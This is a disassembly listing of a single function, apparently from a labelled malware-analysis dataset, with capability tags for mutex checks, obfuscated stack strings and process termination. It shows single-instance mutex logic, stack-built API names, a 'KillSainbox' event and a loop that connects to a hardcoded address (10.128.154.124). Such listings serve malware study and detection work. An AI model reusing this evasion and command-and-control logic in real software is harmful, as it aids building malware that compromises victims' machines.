Function at 0x41d360
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Resolve function by parsing pe exports
Terminate process

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x4a9c3c
push eax
mov eax, 0xa3e8
mov dword fs:[0], esp
call fcn.0042b660
push ebx
push ebp
push esi
mov ebp, 1
push edi
push ebp
call fcn.0041d300
add esp, 4
test eax, eax
je 0x41d3ac
mov eax, dword [0x50e590]
test eax, eax
je 0x41db48
call fcn.0041c760
jmp 0x41db48
mov al, 0x45
lea ecx, [esp + 0x18]
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x40], al
lea eax, [esp + 0x3c]
mov bl, 0x74
push eax
push ecx
mov byte [esp + 0x20], 0x4b
mov byte [esp + 0x22], 0x52
mov byte [esp + 0x23], 0x4e
mov byte [esp + 0x25], 0x4c
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2a], 0x6c
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], 0
mov byte [esp + 0x44], 0x4f
mov byte [esp + 0x45], 0x70
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x49], 0x76
mov byte [esp + 0x4a], 0x65
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], 0x41
mov byte [esp + 0x4e], 0
call fcn.00419b40
mov dword [esp + 0x80], eax
lea edx, [esp + 0x50]
lea eax, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x58], 0x47
mov byte [esp + 0x59], 0x65
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], 0x54
mov byte [esp + 0x5c], 0x69
mov byte [esp + 0x5d], 0x63
mov byte [esp + 0x5e], 0x6b
mov byte [esp + 0x5f], 0x43
mov byte [esp + 0x60], 0x6f
mov byte [esp + 0x61], 0x75
mov byte [esp + 0x62], 0x6e
mov byte [esp + 0x63], bl
mov byte [esp + 0x64], 0
call fcn.00419b40
lea ecx, [esp + 0x68]
lea edx, [esp + 0x28]
push ecx
push edx
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], 0x57
mov byte [esp + 0x71], 0x61
mov byte [esp + 0x72], 0x69
mov byte [esp + 0x73], bl
mov byte [esp + 0x74], 0x46
mov byte [esp + 0x75], 0x6f
mov byte [esp + 0x76], 0x72
mov byte [esp + 0x77], 0x53
mov byte [esp + 0x78], 0x69
mov byte [esp + 0x79], 0x6e
mov byte [esp + 0x7a], 0x67
mov byte [esp + 0x7b], 0x6c
mov byte [esp + 0x7c], 0x65
mov byte [esp + 0x7d], 0x4f
mov byte [esp + 0x7e], 0x62
mov byte [esp + 0x7f], 0x6a
mov byte [esp + 0x80], 0x65
mov byte [esp + 0x81], 0x63
mov byte [esp + 0x82], bl
mov byte [esp + 0x83], 0
call fcn.00419b40
mov dword [esp + 0x94], eax
mov eax, dword [0x50dfa0]
add esp, 0x18
mov dword [0x51eb88], 0x50dd48
mov dword [0x51eb8c], 0x50de74
mov ecx, dword [0x50dfa4]
mov dword [0x51eb80], eax
mov dword [0x51eb84], ecx
mov edi, str.10.128.154.124
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x14], ebx
je 0x41d572
mov edi, 0x50de74
or ecx, 0xffffffff
mov dword [0x51eb74], ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x41d578
mov dword [esp + 0x14], ebp
jmp 0x41d578
mov dword [0x51eb74], ebp
lea edx, [esp + 0x90]
push ebp
push edx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push ebx
push ebx
lea eax, [esp + 0x98]
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea ecx, [esp + 0x90]
xor eax, eax
mov dword [esp + 0x88], ecx
mov ecx, 0x40
lea edi, [esp + 0x1dd]
mov byte [esp + 0x1dc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.Global_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1dc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x8c], ebx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x51eb74]
mov ecx, edx
and ecx, 3
cmp eax, ebx
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x84], 0xc
mov edi, 0x50de74
jne 0x41d617
mov edi, str.10.128.154.124
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1dc]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x1dc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x88]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp eax, ebx
mov dword [0x51eb08], eax
je 0x41d677
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41d677
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebp
push ebx
push ebx
push ebx
push 0x419cd0
push ebx
push ebx
call fcn.0042a560
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x1c
push eax
call esi
mov edx, 0x50e390
mov dword [0x51eb78], ebx
test edx, edx
je 0x41d6b8
push ebp
push ebx
push ebx
push edx
push 0x41be40
push ebx
push ebx
call fcn.0042a560
add esp, 0x1c
push eax
call esi
push ebp
push ebx
push ebx
push 0x64
push 0x41a2e0
push ebx
push ebx
call fcn.0042a560
add esp, 0x1c
push eax
call esi
lea ecx, [esp + 0x2e0]
call fcn.004040c0
mov eax, dword [0x50e38c]
mov dword [esp + 0xa400], ebx
cmp eax, ebx
je 0x41d727
lea eax, [esp + 0x2e0]
lea ecx, [esp + 0x398]
push eax
call fcn.0040eda0
lea ecx, [esp + 0x398]
mov byte [esp + 0xa400], 1
call fcn.0040edd0
lea ecx, [esp + 0x398]
mov byte [esp + 0xa400], 0
call fcn.0040dd70
push ebp
push ebx
push ebx
push 0xea60
push 0x41a360
push ebx
push ebx
call fcn.0042a560
add esp, 0x1c
push eax
call esi
push ebp
push ebx
push ebx
push 0xc8
push fcn.0041ad30
push ebx
push ebx
call fcn.0042a560
add esp, 0x1c
push eax
call esi
lea ecx, [esp + 0x124]
call fcn.004040c0
mov ecx, dword [0x51eb88]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0xa400], 2
mov byte [esp + 0x13], 0
mov dword [esp + 0x70], ebx
mov dword [esp + 0x6c], ecx
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x62
mov byte [esp + 0x2c], 0x61
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], 0x5c
mov byte [esp + 0x2f], 0x4b
mov byte [esp + 0x30], 0x69
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x33], 0x53
mov byte [esp + 0x34], 0x61
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x6e
mov byte [esp + 0x37], 0x62
mov byte [esp + 0x38], 0x6f
mov byte [esp + 0x39], 0x78
mov byte [esp + 0x3a], 0
mov al, byte [esp + 0x13]
test al, al
je 0x41d830
cmp al, 3
je 0x41d830
xor edi, edi
lea edx, [esp + 0x28]
push edx
push 0
push 0x1f0003
call dword [esp + 0x84]
mov esi, eax
test esi, esi
jne 0x41d81d
push 0x3c
call ebp
inc edi
cmp edi, 0x1f4
jl 0x41d7f5
jmp 0x41d830
lea ecx, [esp + 0x124]
call fcn.004048d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [esp + 0x74]
mov ebx, eax
mov eax, dword [0x51eb74]
cmp eax, 1
jne 0x41d91e
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xa5]
mov byte [esp + 0xa4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x51eb8c]
push eax
call fcn.0041c120
mov edx, eax
add esp, 4
test edx, edx
je 0x41d93d
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0xa4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x80], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x80]
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004a2b08
lea edi, [esp + 0xa8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0xac]
push ecx
call fcn.0041c740
lea edi, [esp + 0xb0]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x41d90e
cmp byte [esp + edx + 0xa4], 0x20
jne 0x41d8f8
mov byte [esp + edx + 0xa4], 0
lea edi, [esp + 0xa4]
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x41d8e6
mov eax, dword [0x51eb74]
lea edx, [esp + 0xa4]
mov dword [esp + 0x70], edx
xor esi, esi
cmp eax, esi
jne 0x41d976
cmp dword [0x50e6fc], esi
je 0x41d969
push esi
call fcn.0041d120
add esp, 4
mov dword [esp + 0x6c], eax
xor eax, eax
jmp 0x41d985
mov eax, dword [esp + 0x14]
test eax, eax
je 0x41d95f
mov eax, dword [0x51eb74]
inc eax
cmp eax, 2
mov dword [0x51eb74], eax
jb 0x41d95f
mov dword [0x51eb74], 0
mov byte [esp + 0x13], 2
jmp 0x41d7e7
mov eax, dword [0x51eb88]
mov dword [esp + 0x6c], eax
xor eax, eax
jmp 0x41d985
cmp eax, 1
jne 0x41d98a
mov ecx, dword [0x51eb88]
mov dword [esp + 0x6c], ecx
mov dword [0x51eb74], eax
mov edx, dword [eax*4 + 0x51eb80]
mov eax, dword [esp + eax*4 + 0x6c]
push edx
push eax
lea ecx, [esp + 0x12c]
call fcn.004042a0
test al, al
jne 0x41d9cd
cmp dword [esp + 0x14], esi
je 0x41d9c3
mov eax, dword [0x51eb74]
inc eax
cmp eax, 2
mov dword [0x51eb74], eax
jb 0x41d9c3
mov dword [0x51eb74], esi
mov byte [esp + 0x13], 2
jmp 0x41d7e7
push str.tdC2pg
call dword [esp + 0x78]
sub eax, ebx
lea ecx, [esp + 0x128]
push eax
push ecx
push esi
call fcn.00419730
mov eax, dword [0x51eb74]
add esp, 0x10
lea ecx, [esp + 0x28]
mov edx, dword [eax*4 + 0x51eb80]
mov eax, dword [esp + eax*4 + 0x6c]
push edx
push eax
lea edx, [esp + 0x12c]
push ecx
push edx
lea ecx, [esp + 0x3a8]
call fcn.0040dc90
lea eax, [esp + 0x398]
lea ecx, [esp + 0x124]
push eax
mov byte [esp + 0xa404], 3
call fcn.00404ba0
lea ecx, [esp + 0x398]
call fcn.0040ed90
test eax, eax
jne 0x41da4e
push 0x3e8
call ebp
inc esi
cmp esi, 0xa
jl 0x41da31
lea ecx, [esp + 0x398]
call fcn.0040ed90
test eax, eax
jne 0x41daa5
mov eax, dword [esp + 0x14]
test eax, eax
je 0x41da80
mov eax, dword [0x51eb74]
inc eax
cmp eax, 2
mov dword [0x51eb74], eax
jb 0x41da80
mov dword [0x51eb74], 0
lea ecx, [esp + 0x124]
call fcn.004048d0
lea ecx, [esp + 0x398]
mov byte [esp + 0xa400], 2
call fcn.0040dd70
jmp 0x41d7e7
call dword [esp + 0x74]
lea ecx, [esp + 0x28]
push ecx
push 0
push 0x1f0003
call dword [esp + 0x84]
mov edx, dword [esp + 0x1d0]
push 0x64
push edx
mov esi, eax
call dword [esp + 0x84]
push 0x190
mov edi, eax
call ebp
test esi, esi
jne 0x41dae2
test edi, edi
jne 0x41daa9
jmp 0x41da8c
lea ecx, [esp + 0x124]
call fcn.004048d0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [0x51eb08]
push eax
call esi
lea ecx, [esp + 0x398]
mov dword [0x51eb08], 0
mov byte [esp + 0xa400], 2
call fcn.0040dd70
lea ecx, [esp + 0x124]
mov byte [esp + 0xa400], 0
call fcn.004041b0
lea ecx, [esp + 0x2e0]
mov dword [esp + 0xa400], 0xffffffff
call fcn.004041b0
mov ecx, dword [esp + 0xa3f8]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0xa3f4
ret